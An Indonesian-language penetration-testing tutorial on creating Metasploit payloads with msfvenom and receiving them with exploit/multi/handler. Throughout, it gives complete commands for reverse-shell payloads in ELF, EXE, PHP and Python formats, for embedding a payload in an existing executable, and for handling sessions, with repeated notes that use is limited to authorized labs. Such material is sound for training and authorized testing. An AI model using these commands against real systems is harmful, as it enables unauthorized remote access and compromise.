Catatan ini membahas penggunaan msfvenom untuk membuat payload dan menghubungkannya dengan handler pada Metasploit Framework.
Seluruh command hanya boleh digunakan pada lab, sistem milik sendiri, atau assessment yang telah memperoleh izin.
Kapan Menggunakan msfvenom#
msfvenom digunakan ketika exploit yang tersedia di Metasploit tidak menyediakan mekanisme delivery payload secara langsung.
Contoh skenario pada lab atau assessment berizin:
- File upload pada aplikasi web.
- Transfer file melalui SSH dengan credential yang telah disetujui.
- Simulasi attachment email phishing.
- USB drop pada lingkungan pengujian.
- Penyisipan payload ke dalam binary untuk kebutuhan pengujian tertentu.
Pada exploit Metasploit yang sudah menyediakan payload dan delivery secara langsung, sebagian proses biasanya ditangani oleh modul exploit. Dengan msfvenom, pembuatan dan delivery payload ditangani secara terpisah.
Alur Kerja Umum#
- Membuat payload dengan menentukan platform, jenis payload, format, dan detail koneksi.
- Mengirimkan payload melalui mekanisme delivery yang telah disetujui.
- Menyiapkan handler menggunakan
exploit/multi/handler. - Menjalankan payload pada target atau menunggu payload dijalankan dalam skenario lab.
- Berinteraksi dengan session yang dibuat.
Delivery payload harus menjadi bagian dari scope assessment dan tidak boleh dilakukan terhadap pengguna atau sistem tanpa persetujuan.
Struktur Dasar msfvenom#
| Opsi | Kegunaan |
|---|---|
-p <PAYLOAD> | Memilih payload yang akan digunakan. |
LHOST=<ADDRESS> | Menentukan alamat listener yang dapat dijangkau target. |
LPORT=<PORT> | Menentukan port listener. |
-f <FORMAT> | Menentukan format output payload. |
-o <FILE> | Menentukan file output. |
--list-options | Menampilkan opsi yang tersedia untuk payload. |
-l <TYPE> | Menampilkan daftar payload, format, encoder, atau platform. |
-e <ENCODER> | Memilih encoder. |
-i <COUNT> | Menentukan jumlah iterasi encoding. |
-b <CHARS> | Menentukan bad characters yang harus dihindari. |
-x <FILE> | Menggunakan file executable sebagai template. |
-k | Mempertahankan fungsi asli executable template. |
Contoh struktur command:
msfvenom -p <PAYLOAD> LHOST=<LISTENER_ADDRESS> LPORT=<LISTENER_PORT> \
-f <FORMAT> -o <OUTPUT_FILE>Contoh pada lingkungan Linux yang telah diizinkan:
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=<CONNECTION_IP> LPORT=4444 \
-f elf -o shell.elfNilai LHOST, LPORT, dan nama file harus disesuaikan dengan topologi lab atau scope assessment.
Melihat Opsi Payload#
Opsi yang dibutuhkan payload dapat ditampilkan menggunakan --list-options:
msfvenom -p <PAYLOAD> --list-optionsContoh:
msfvenom -p linux/x64/meterpreter/reverse_tcp --list-optionsMencari Payload dan Format#
Daftar payload, format, encoder, dan platform dapat ditampilkan menggunakan opsi -l:
msfvenom -l payloads
msfvenom -l formats
msfvenom -l encoders
msfvenom -l platformsHasil pencarian dapat difilter menggunakan grep:
msfvenom -l payloads | grep -i linux
msfvenom -l payloads | grep -i meterpreter
msfvenom -l formats | grep -i elfPayload yang dipilih harus sesuai dengan sistem operasi, arsitektur, runtime, dan jalur koneksi target.
Staged dan Stageless Payload#
| Jenis | Karakteristik |
|---|---|
| Staged | Payload awal berukuran lebih kecil dan mengambil stage tambahan dari handler setelah koneksi berhasil. |
| Stageless | Seluruh komponen payload dikirim sebagai satu payload tanpa mengambil stage tambahan. |
Payload dan handler harus menggunakan jenis payload yang sesuai agar koneksi dapat diproses dengan benar.
Executable dan Transform Format#
- Executable format: Menghasilkan file yang dapat dijalankan oleh sistem operasi tertentu, misalnya
elfatauexe. - Transform format: Mengubah payload menjadi representasi lain, misalnya
raw,python,php, atau format teks tertentu.
Format harus disesuaikan dengan mekanisme delivery dan lingkungan target. Contoh format yang umum digunakan:
-f elf
-f exe
-f php
-f python
-f rawContoh Format Payload#
Contoh berikut hanya untuk lingkungan lab atau assessment yang telah disetujui:
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=<CONNECTION_IP> LPORT=4444 \
-f elf -o shell.elf
# Windows executable
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<CONNECTION_IP> LPORT=4444 \
-f exe -o shell.exe
# PHP payload
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=<CONNECTION_IP> LPORT=4444 \
-f raw -o shell.php
# Python payload
msfvenom -p cmd/unix/reverse_python \
LHOST=<CONNECTION_IP> LPORT=4444 \
-f raw -o shell.pyPayload PHP atau Python masih bergantung pada runtime dan konfigurasi yang tersedia pada sistem target.
Encoder dan Evasion#
Encoder digunakan untuk mengubah representasi payload. Encoder bukan mekanisme evasion dan tidak menjamin payload dapat melewati antivirus, EDR, atau kontrol keamanan lainnya.
Beberapa opsi yang berkaitan dengan encoder:
-e <ENCODER>
-i <COUNT>
-b <BAD_CHARS>Encoder biasanya digunakan untuk menghindari karakter yang tidak dapat diproses oleh target atau menyesuaikan payload dengan keterbatasan format dan transport.
Menyisipkan Payload ke Executable#
Opsi -x menentukan executable template, sedangkan -k berusaha mempertahankan fungsi asli executable tersebut.
msfvenom -p <PAYLOAD> \
LHOST=<CONNECTION_IP> LPORT=4444 \
-x <TEMPLATE_FILE> -k \
-f <FORMAT> -o <OUTPUT_FILE>Pengujian harus dilakukan pada salinan file di lingkungan terisolasi. Integritas dan fungsi asli executable perlu diverifikasi sebelum digunakan dalam assessment.
Menyiapkan Handler#
Handler digunakan untuk menerima koneksi dari payload yang telah dibuat.
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD <PAYLOAD>
msf6 exploit(multi/handler) > set LHOST <CONNECTION_IP>
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > runPayload pada handler harus sama dengan payload yang digunakan saat menjalankan msfvenom, termasuk jenis staged atau stageless payload.
Periksa kembali platform, arsitektur, LHOST, LPORT, routing, firewall, NAT, dan akses jaringan.
Menjalankan Handler di Background#
Handler dapat dijalankan di background menggunakan opsi -j:
msf6 exploit(multi/handler) > run -j
msf6 > sessions -l
msf6 > sessions -i <SESSION_ID>Opsi Handler Tambahan#
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > set AutoRunScript <AUTHORIZED_SCRIPT>ExitOnSession mengatur apakah handler berhenti setelah session dibuat. AutoRunScript menjalankan script tertentu setelah session tersedia dan hanya boleh digunakan apabila script tersebut telah ditinjau serta diizinkan dalam assessment.
Catatan Keamanan#
- Gunakan hanya pada sistem yang dimiliki atau telah memberikan izin tertulis.
- Jangan menggunakan alamat, credential, atau file pengguna nyata di luar scope.
- Uji payload pada lingkungan terisolasi terlebih dahulu.
- Simpan hasil assessment sesuai kebijakan organisasi.
- Hentikan handler dan session setelah pengujian selesai.
- Bersihkan payload dan artefak pengujian sesuai prosedur cleanup.

